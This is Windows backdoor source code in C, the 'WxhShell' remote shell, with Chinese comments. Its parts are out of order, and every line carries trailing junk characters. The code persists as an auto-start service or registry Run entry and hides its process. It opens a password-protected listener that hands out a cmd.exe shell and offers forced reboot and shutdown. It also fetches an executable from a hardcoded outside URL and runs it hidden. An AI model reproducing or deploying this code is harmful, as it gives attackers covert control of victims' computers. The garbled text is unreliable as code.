    if(Boot(SHUTDOWN)) ?[*@T2Ck  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J"a2 @S&  
    else { Z]1z*dv  
    closesocket(wsh); NUxAv= xl  
    ExitThread(0); VLwJ6?.f'  
    } @h z0:ezg:  
    break; PEwW*4Xo  
    } l72i e  
  // 获取shell _z_3%N  
  case 's': { H8=vQy  
    CmdShell(wsh); :*w:eKk  
    closesocket(wsh);  HC<BGIgL  
    ExitThread(0); 4u{E D(  
    break; f0fqDmn  
  } Xoa <r9  
  // 退出 )=SYJ-ta<  
  case 'x': { tZc.%TU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zN 729wK  
    CloseIt(wsh); F~uA-g  
    break; v=yI#5  
    } W0r5D9k  
  // 离开 !MG>z\:  
  case 'q': { 'piF_5(@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wTgx(LtH  
    closesocket(wsh); 6r-<XNv)0  
    WSACleanup(); 1dgN10  
    exit(1); j{Qbzczy,  
    break; &&QDEDszp  
        } *M**h-p2'  
  } \Vhp B   
  } ah&plaVzC  
"351s3ff  
  // 提示信息   _c7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kdueQ(\  
} s"^YW+HMb  
  } qT-nD}  
yrv SbqR  
  return; -fZShOBY`  
} OHa{!SaL  
{u[K ^G  
// shell模块句柄 3Jk?)D y  
int CmdShell(SOCKET sock) :N'[d e  
{ h}VYA\+<B  
STARTUPINFO si; vG Lb2Q  
ZeroMemory(&si,sizeof(si)); #.t$A9'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u3?Pp[tM<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Wn9Mr2r!*,  
PROCESS_INFORMATION ProcessInfo; )*QTxN  
char cmdline[]="cmd";  "lnk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); + 1%^c(3  
  return 0; =jd=Qs IL  
} pa> 2JF*  
1_E3DXe  
// 自身启动模式 :92a34  
int StartFromService(void) ~4 xBa:*z  
{ (k HQKQmq  
typedef struct YI(OrR;V  
{ %cjGeS6}  
  DWORD ExitStatus; KL_}:O68  
  DWORD PebBaseAddress; /n3&e  
  DWORD AffinityMask; 0o'ML""j  
  DWORD BasePriority; Jtk.v49Ad>  
  ULONG UniqueProcessId; f`";Q/rG  
  ULONG InheritedFromUniqueProcessId; ,9j:h)ks?  
}   PROCESS_BASIC_INFORMATION; =rtA{g$)+  
a*wJcJTpV"  
PROCNTQSIP NtQueryInformationProcess; @^4M~F%  
}T*xT>p^3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W;@ae,^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R8W4 4I*R:  
l$ _+WC*wp  
  HANDLE             hProcess; l?<z1Acd&  
  PROCESS_BASIC_INFORMATION pbi; !{ )AV/\D  
k^%ec3l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  ,8 NEnB  
  if(NULL == hInst ) return 0; l$~bkVNL  
7 |eSvC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +Q#Qu0_   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DO,&Foh\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S/:QVs  
e ~,'|~ C5  
  if (!NtQueryInformationProcess) return 0;  eJ\j{-  
`j"G=%e3.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 59J$SE  
  if(!hProcess) return 0; }c#/1J7  
9TN5|x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ML"P"&~u6  
f?I *`~k  
  CloseHandle(hProcess); . t%Vx  
^{+:w:g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~ai' M#  
if(hProcess==NULL) return 0; HaN _}UMP  
w3cK: C0  
HMODULE hMod; "}aM*(l+\  
char procName[255]; _!p$47  
unsigned long cbNeeded; eu|q {p  
e ;u8G/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4W-+k  
1E_Ui1[  
  CloseHandle(hProcess); g~D6.OZU  
o-Fle, qf  
if(strstr(procName,"services")) return 1; // 以服务启动 xi^e =:;`  
/+U)!$zm*  
  return 0; // 注册表启动 X35U!1Y\  
} 29DWRJU  
;+KgujfU  
// 主模块 ]@}BdMlHp  
int StartWxhshell(LPSTR lpCmdLine) )P+GklI{4  
{ 3NZFW{u  
  SOCKET wsl;  wupD   
BOOL val=TRUE; 2 3w{h d  
  int port=0; cW^) $>A  
  struct sockaddr_in door; i1 Sc/  
&+iW:  
  if(wscfg.ws_autoins) Install(); D)Rf  
0lh6b3tdP  
port=atoi(lpCmdLine); yC*BOJS  
1)r_h(  
if(port<=0) port=wscfg.ws_port; ^TuEp$Z=  
]+7c1MB(5  
  WSADATA data; O +}EE^*a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Rw8m5U  
_VJwC|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5kNs@FP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <5vB{)Tq  
  door.sin_family = AF_INET; ;!sGfrs 0$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r@UY$z  
  door.sin_port = htons(port);  M.^A`   
<&Xq`i/(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2/N*Uk 0  
closesocket(wsl); 5FKd{V'  
return 1; U  {!{5l:  
} ^}\R]})w"  
]arskmB]  
  if(listen(wsl,2) == INVALID_SOCKET) { s4k%ty}  
closesocket(wsl); fG5}'8  
return 1; o^6j(~  
} X6 :~Rjim*  
  Wxhshell(wsl); #;]F:TlR  
  WSACleanup(); 0 d]G  
^ w1R"qE"m  
return 0; 2` qXD fD`  
0Ch._~Q+20  
} V3UGx'@^y  
B`EgL/Wg[  
// 以NT服务方式启动 uNBhVsM6<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dF]8>jBOL  
{ N)Kr4GC  
DWORD   status = 0; @ xr   
  DWORD   specificError = 0xfffffff; 4 Z)]Cq*3  
XnOl*#P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M3`A&*\;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kn|l3+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1 R9/AP  
  serviceStatus.dwWin32ExitCode     = 0; 1 to<at-NN  
  serviceStatus.dwServiceSpecificExitCode = 0; ibw;BU  
  serviceStatus.dwCheckPoint       = 0; EBLoRW=8ld  
  serviceStatus.dwWaitHint       = 0; ;mlIWn  
]~ UkD*Ct  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _S1uJ~j;E  
  if (hServiceStatusHandle==0) return; VNXVuM )c  
nP31jm+A  
status = GetLastError(); j-|0&X1C  
  if (status!=NO_ERROR) zSCPp6  
{ "PtH F`mo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *^_!W'T{j  
    serviceStatus.dwCheckPoint       = 0; \M@8# k|  
    serviceStatus.dwWaitHint       = 0; 3zHiu*2/!  
    serviceStatus.dwWin32ExitCode     = status; fTgN2U  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'YZs6rcJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [G/X  
    return; 3Gv i!h7  
  } &X(-C9'j  
zt0 zKXw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sAlgp2-  
  serviceStatus.dwCheckPoint       = 0; [_@OCiV5)  
  serviceStatus.dwWaitHint       = 0; s&</zU'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *JXJ 2  
} P s;:g0  
TKX#/  
// 处理NT服务事件,比如:启动、停止 ^+<uHd>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @eWx4bl  
{ i-b7  
switch(fdwControl) )`-]nMc  
{ $)V4Eu;  
case SERVICE_CONTROL_STOP: -2_$zk*n  
  serviceStatus.dwWin32ExitCode = 0; zPYa@0I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?2;G_P+  
  serviceStatus.dwCheckPoint   = 0; )I4tl/  
  serviceStatus.dwWaitHint     = 0; rkl7p?  
  { UtrbkuT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pnU g:R@  
  } hg @Jpg  
  return; 9n7d "XD2  
case SERVICE_CONTROL_PAUSE: 0<9TyN6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B"v=Fr[  
  break; [4e5(!e  
case SERVICE_CONTROL_CONTINUE: sTz*tSwQv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k_B^2=  
  break; H"l'E9k.&p  
case SERVICE_CONTROL_INTERROGATE: a{W-+t   
  break; qT4s* kqr  
}; 4{KsCd)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p%-9T>og  
} !TF VBK  
L')zuI  
// 标准应用程序主函数 <9~qAq7^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aJ5R0Y,  
{ %ZK}y{u\  
=qRVKz  
// 获取操作系统版本 P'8 E8_M}  
OsIsNt=GetOsVer(); Apn#o2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k|5nu-B0v  
BR'|hG  
  // 从命令行安装 T_WQzEL^  
  if(strpbrk(lpCmdLine,"iI")) Install(); nC^'2z  
uM8gfY)OI  
  // 下载执行文件 9D,& )6  
if(wscfg.ws_downexe) { Up&q#vqIj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /v[- KjTj7  
  WinExec(wscfg.ws_filenam,SW_HIDE); :w+Rs+R  
} _c2#  
;l'I. j  
if(!OsIsNt) { o[ 6hUX0tN  
// 如果时win9x,隐藏进程并且设置为注册表启动 l ;uEw  
HideProc(); d9(FwmE  
StartWxhshell(lpCmdLine); zBbTj IFQ  
} ?*4zNhL  
else "^H+A-R[  
  if(StartFromService()) x-<dJ}`  
  // 以服务方式启动 qJ@?[|2R  
  StartServiceCtrlDispatcher(DispatchTable); $H^6I8>  
else sq_:U_tJ  
  // 普通方式启动 pP @#|T  
  StartWxhshell(lpCmdLine); d\v _!7  
|zMQe}R@%  
return 0; 8~i@7~ J  
} VA0TY/{ ]  
!Xm:$KH  
7}Sw(g)o7  
Q$%@.@  
=========================================== c.fj[U|j  
"{k3~epYaN  
9M<? *8)  
VsC]z, oV  
<Yc:,CU  
gT.-Cf{  
" o;.-I[9h]  
-AX3Rnv^!  
#include <stdio.h> nTAsy0p]  
#include <string.h> 2Y+*vNs3  
#include <windows.h> 'Khq!pC   
#include <winsock2.h> 9\8""-  
#include <winsvc.h> ,>$#e1!J  
#include <urlmon.h> md0=6< }P  
fp7Qb $-A  
#pragma comment (lib, "Ws2_32.lib") [>-k(D5D  
#pragma comment (lib, "urlmon.lib") HZT;7<  
$spf=t"nh  
#define MAX_USER   100 // 最大客户端连接数 uMI2Wnnc:/  
#define BUF_SOCK   200 // sock buffer j!s&yHE1  
#define KEY_BUFF   255 // 输入 buffer F,sT[C  
_W;u Qg']  
#define REBOOT     0   // 重启 aqB^  %e  
#define SHUTDOWN   1   // 关机 URAipLvN  
Xk2  75Y  
#define DEF_PORT   5000 // 监听端口 L!5f*  
PT;$@q8  
#define REG_LEN     16   // 注册表键长度 EY>A(   
#define SVC_LEN     80   // NT服务名长度 '.=Z2O3p  
g=pDC+  
// 从dll定义API /Yh8r1^2tZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x\jHk}Buj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [V2l&ZUni  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H)S3/%.|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gDsZbmR  
^Z*_@A_v  
// wxhshell配置信息 rnr7t \a~]  
struct WSCFG { [D t`@Dm  
  int ws_port;         // 监听端口 ct  ZW7  
  char ws_passstr[REG_LEN]; // 口令 hCmOSDym  
  int ws_autoins;       // 安装标记, 1=yes 0=no ; H3kb +  
  char ws_regname[REG_LEN]; // 注册表键名 #'T|,xIr-Q  
  char ws_svcname[REG_LEN]; // 服务名 /$n${M5!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1Jahu!c?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8.,PgS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SBEJ@&iB~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "CaVT7L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pQp}HD!-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |"mb 59X  
RwwKPE  
}; T.pPQH__  
uk1IT4+  
// default Wxhshell configuration C.@zVt  
struct WSCFG wscfg={DEF_PORT, %S^`/Snv"  
    "xuhuanlingzhe", z+ 4R[+[  
    1, $*PyzLS  
    "Wxhshell", =y':VIVJC  
    "Wxhshell", 68y.yX[  
            "WxhShell Service", =3"Nn4Z  
    "Wrsky Windows CmdShell Service", pK3cg|}  
    "Please Input Your Password: ", DGU$3w  
  1, (~P&$$qfD  
  "http://www.wrsky.com/wxhshell.exe", DgdW.Kj|IL  
  "Wxhshell.exe" Kz%wMyZ:g  
    }; #zXDh3%]a  
1t)6wk N  
// 消息定义模块 rh!41  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jk|0<-3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4uz\Me(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {5to;\.  
char *msg_ws_ext="\n\rExit."; -B_dE-l,  
char *msg_ws_end="\n\rQuit."; 4QDW}5xB  
char *msg_ws_boot="\n\rReboot..."; Xbz}pAnj  
char *msg_ws_poff="\n\rShutdown..."; &L/ C:<.  
char *msg_ws_down="\n\rSave to "; [p <L*3<  
3{%/1>+x5  
char *msg_ws_err="\n\rErr!"; D\k);BU~  
char *msg_ws_ok="\n\rOK!"; Ki'EO$  
@1>83-p"X  
char ExeFile[MAX_PATH]; w qsPGkJJ7  
int nUser = 0; S&VN</p  
HANDLE handles[MAX_USER]; nhIITfJJ  
int OsIsNt; =v_ju;C=  
m:h]nm  
SERVICE_STATUS       serviceStatus; 9A6ly9DIS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 89L -k%R  
v9<p@GY"\  
// 函数声明 d`:0kOF+  
int Install(void); 04( h!@!g:  
int Uninstall(void); # mzJ^V-  
int DownloadFile(char *sURL, SOCKET wsh); `Q{kiy  
int Boot(int flag); 7mu%|!  
void HideProc(void); {_ #   
int GetOsVer(void); )ow3Bl8w  
int Wxhshell(SOCKET wsl); wHAh6lm  
void TalkWithClient(void *cs); )N}xKw|  
int CmdShell(SOCKET sock); PKwx)! Rz  
int StartFromService(void); Kkd7D_bZ*  
int StartWxhshell(LPSTR lpCmdLine); ]-R8W/fDn  
J)R2O4OEd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t'z] <7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %TLAn[LW(  
uU<Yf5  
// 数据结构和表定义 {!-w|&bF  
SERVICE_TABLE_ENTRY DispatchTable[] = 6 Fm.^9@  
{ `dj/Uk  
{wscfg.ws_svcname, NTServiceMain}, _ p?q/-[4  
{NULL, NULL} { }>"f]3  
}; sx/g5 ?zh  
72PDqK#  
// 自我安装 SkK=VeD>8  
int Install(void) e\P+R>i0  
{  UWu|w  
  char svExeFile[MAX_PATH]; #a/lt^}C*  
  HKEY key; 9J>DLvl;  
  strcpy(svExeFile,ExeFile); +oyc9PoXF  
&AoWT:Ea  
// 如果是win9x系统,修改注册表设为自启动 TzIgEn~  
if(!OsIsNt) { $mpfr#!&3o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mX<D]Z< k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'dx4L }d  
  RegCloseKey(key); H\O|Y@uVr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1XSqgr"3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jcy`:C\Ay  
  RegCloseKey(key); \+5L. Q  
  return 0; MxCs0::w  
    } -5E<BmM  
  } YN\ QwV  
} !{SEm"J^  
else { $CXqkK<6  
\f+R!  
// 如果是NT以上系统,安装为系统服务 (Q\w4?ci  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7}nOF{RH]  
if (schSCManager!=0) /A_ IS`  
{ 9gWQGkql  
  SC_HANDLE schService = CreateService a5&wS@) ;  
  ( {B[i|(xQx  
  schSCManager, u52@{@Ad  
  wscfg.ws_svcname, bjR&bIA:  
  wscfg.ws_svcdisp, ^goS? p/z  
  SERVICE_ALL_ACCESS, Y}4dW'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |R+=Yk&u  
  SERVICE_AUTO_START, {"@Bf<J#  
  SERVICE_ERROR_NORMAL, Uz1u6BF  
  svExeFile, 1Ce:<.99B  
  NULL, i~\gEMaO  
  NULL, M>0~Ek%3  
  NULL, RRV&!<l@$  
  NULL, ;E*ozKpm  
  NULL J,E&Uz95%  
  ); SH5k^EJ  
  if (schService!=0) \ 0:ITz  
  { "+| >nA=7  
  CloseServiceHandle(schService); |Q7Ch]G  
  CloseServiceHandle(schSCManager); (s}9N   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  *A_  
  strcat(svExeFile,wscfg.ws_svcname); A@`C<O ^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @GGyiK@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~r!jVK>^  
  RegCloseKey(key); $-o39A#  
  return 0; G"J6X e  
    } I2zSoQ1P  
  } Jq.26I=  
  CloseServiceHandle(schSCManager); #{N#yReh  
} \Z)'':},C  
} u |#ruFR  
vnIxI a  
return 1; J :,  
} V @8X .R>  
H4%wq  
// 自我卸载 mv + .5X  
int Uninstall(void) J_`.w  
{ EQ7cK63  
  HKEY key; OD*DHC2rN]  
Z5NuLB'  
if(!OsIsNt) { W[YcYa_tQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gzw[^d  
  RegDeleteValue(key,wscfg.ws_regname); !WDdq_n*v  
  RegCloseKey(key); c5U1N&k5&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +K+ == mO&  
  RegDeleteValue(key,wscfg.ws_regname); ZW,PZ<  
  RegCloseKey(key); z?V> ST  
  return 0; GTLlQy)'=  
  } HLk/C[`u,  
} !(+?\+U lE  
} #`?uV)(  
else { #&DJ3(T  
NbgP,-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !n !~Bw  
if (schSCManager!=0) J,jl(=G  
{  {!x-kF_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W+Iln`L  
  if (schService!=0) <Qwi 0$  
  { # VR}6Jv  
  if(DeleteService(schService)!=0) { nar=\cs~g  
  CloseServiceHandle(schService); >o(*jZ  
  CloseServiceHandle(schSCManager); $KtMv +m"  
  return 0; 1OJ:Vy}n  
  } r Cmqq/hZ  
  CloseServiceHandle(schService); mQ1QJ_;  
  } 6~D:O?2  
  CloseServiceHandle(schSCManager); S,J'Z:spf  
} na%9E8;:&v  
} n) `4*d$`  
<f:b%Pm 7  
return 1; |"l g4S%  
} "%0RR?  
(A"oMnjWd  
// 从指定url下载文件 3DgI.V6un  
int DownloadFile(char *sURL, SOCKET wsh) HaLEQ73  
{ UlQ}   
  HRESULT hr; SkN^ytKE  
char seps[]= "/"; e?F r/n  
char *token; 'O2{0  
char *file; qOkw6jfluh  
char myURL[MAX_PATH]; drF"kTD"7  
char myFILE[MAX_PATH]; 6eQrupa  
4yjAi@ /2  
strcpy(myURL,sURL); mo <g'|0  
  token=strtok(myURL,seps); /n(0nU[  
  while(token!=NULL) US4X CJxB  
  { b/WVWDyob/  
    file=token; 92eS*x2@  
  token=strtok(NULL,seps); T*LbZ"A  
  } x4fLe5xv  
[gD02a: u  
GetCurrentDirectory(MAX_PATH,myFILE); LP.-  
strcat(myFILE, "\\"); u!;kBs  
strcat(myFILE, file); sE]eIN  
  send(wsh,myFILE,strlen(myFILE),0); $D8KEkW  
send(wsh,"...",3,0); qC IZW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z<xSU?J  
  if(hr==S_OK) YW>|gE  
return 0; H2rh$2  
else MI<hShc\  
return 1; iZ)7%R?5  
Vs m06Rj{  
} |yw-H2k1  
0vDP- qJV-  
// 系统电源模块 8={(Vf6  
int Boot(int flag) YjLPW@  
{ mrk Q20D  
  HANDLE hToken; /|BzpIfpN  
  TOKEN_PRIVILEGES tkp; _d)w, ;m#  
J:p nmZ`X  
  if(OsIsNt) { nn5S7!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2VMau.eQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (\#j3Y)r  
    tkp.PrivilegeCount = 1; Hm1C|Qb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JA())0a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'j>^L  
if(flag==REBOOT) { G;wv.|\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T%- F,i  
  return 0; Hq6VwQu?  
} CSwNsFDR%  
else { Hm%[d;Z7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V<nh+Q3<d  
  return 0; UV@<55)K  
} *Cj]j-  
  } `Fu|50_@V  
  else { ,T"(97"  
if(flag==REBOOT) { 3p$ZHH.UP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Qa(u+  
  return 0; }+I 8l'  
} t55CT6Se  
else { w{#%&e(q"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Iu%/~FgPj{  
  return 0; S &cH1QZ  
} \ >1M?  
} kMN z5P  
%|r@q  
return 1; D)4p8-=t  
} yu3EPT!~  
CK'Cf{S  
// win9x进程隐藏模块 Ff%m.A8d,4  
void HideProc(void) l.fNkLC#  
{ l<GRM1^kU  
I\`:(V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B3)#Ou2  
  if ( hKernel != NULL ) GsE?<3  
  { |LiFX5!\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s^js}9]p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9]7+fu  
    FreeLibrary(hKernel);  ,Ad\!  
  } ;MNEe% TJ  
9S.R%2xw`  
return; kZSe#'R's  
} ||9f@9  
LP#CA^*S  
// 获取操作系统版本 4$SW~BpQ  
int GetOsVer(void) ]:m*7p\uk  
{ ",Ek| z  
  OSVERSIONINFO winfo; SS(jjpe&,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 75I* &Wl  
  GetVersionEx(&winfo); >3 qy'lm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;cxYX/fJ  
  return 1; At+on9&=  
  else KDg!Y(m{  
  return 0; rQN+x|dKMb  
} %+xh  
lT1*e(I  
// 客户端句柄模块 I{B8'n{cN  
int Wxhshell(SOCKET wsl) klv^310  
{ Scxf5x-  
  SOCKET wsh; Y2<Z"D`  
  struct sockaddr_in client; LEHlfB#z`@  
  DWORD myID; |I85]'K9a  
ww+XE2,  
  while(nUser<MAX_USER) bZERh:%o  
{ PN+,M50;1  
  int nSize=sizeof(client); nLdI>c9R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @fbvu_-].  
  if(wsh==INVALID_SOCKET) return 1; r{p?aG  
B YNOgB1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )1lYfJ  
if(handles[nUser]==0) ]V><gZ  
  closesocket(wsh); %6kD^K-  
else j%~UU0(J  
  nUser++; 6;[iX`LL  
  } q+|Dm<Ug  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [<8<+lH=P  
)wSsxX7:  
  return 0; >SSF:hI"J  
} D#^v=U  
$].< /  
// 关闭 socket |Z#) 1K  
void CloseIt(SOCKET wsh) 3U1xKF  
{ ^9qncvV  
closesocket(wsh); ;l}TUo  
nUser--; vJmE}  
ExitThread(0); @iao"&  
} ]5rEwPB  
DV{Qbe#In  
// 客户端请求句柄 B7N?"'$i  
void TalkWithClient(void *cs) EDL<J1%  
{ J cvK]x  
gLd3,$ Ei  
  SOCKET wsh=(SOCKET)cs; [eG- &u  
  char pwd[SVC_LEN]; > YN<~z-  
  char cmd[KEY_BUFF]; Tet,mzVuu  
char chr[1]; YNk?1#k?i  
int i,j; ?Za1  b  
L{<E'#@F  
  while (nUser < MAX_USER) { "1h|1'S50?  
|]\qI  
if(wscfg.ws_passstr) { 0#XZ_(@%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gq+!%'][P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c1jgBty  
  //ZeroMemory(pwd,KEY_BUFF); vseuk@>  
      i=0; F-UY~i8  
  while(i<SVC_LEN) { j Dy  
.VTHZvyn  
  // 设置超时 a8A8?:  
  fd_set FdRead; !oM 1  
  struct timeval TimeOut; }3M\&}=8  
  FD_ZERO(&FdRead); &d9";V"E  
  FD_SET(wsh,&FdRead); F0Rk[GM  
  TimeOut.tv_sec=8; WElB,a-RCp  
  TimeOut.tv_usec=0; vIz~B2%x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J} %&;uv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wQ4/eQ*  
)jCAfdnCs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `6Y'H2WJ?  
  pwd=chr[0]; "m/0>UU0  
  if(chr[0]==0xd || chr[0]==0xa) { 9dSKlB5J  
  pwd=0; /38^N|/Zr  
  break; wArNWBM  
  } `4(k ?Pk2  
  i++; -zG/@.  
    } "mHSbG  
pkBmAJb@  
  // 如果是非法用户,关闭 socket a?\ Au  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V4ayewVX  
} Gi Zy C  
70*Y4'u }A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (MwB% g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WAkKbqJV  
Sf lHSMFw  
while(1) { RUSBJsMB  
^EM##Ss_  
  ZeroMemory(cmd,KEY_BUFF); k((_~<$2K  
v:s~Y  
      // 自动支持客户端 telnet标准   [ V/*{Z  
  j=0; tb{l(up/a  
  while(j<KEY_BUFF) { hZc$`V=R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xNE<$Bz  
  cmd[j]=chr[0]; ?w /tq!  
  if(chr[0]==0xa || chr[0]==0xd) { SP5/K3t-*  
  cmd[j]=0; U1J?o #(  
  break; ks:Z=%o   
  } m_' 1yX@  
  j++; AdR}{:ia  
    } o}Dy\UfU  
RzFv``g  
  // 下载文件 ~qco -b  
  if(strstr(cmd,"http://")) { Ol D]*=.cO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J?u@' "u  
  if(DownloadFile(cmd,wsh)) /_aFQ>.4n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K`PF|=z  
  else nwHi3ojD:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >%'|@75K  
  } | u7vY/  
  else { `NyvJt^<  
_ z{:Q  
    switch(cmd[0]) { +hV7o!WxC  
  ?_}[@x  
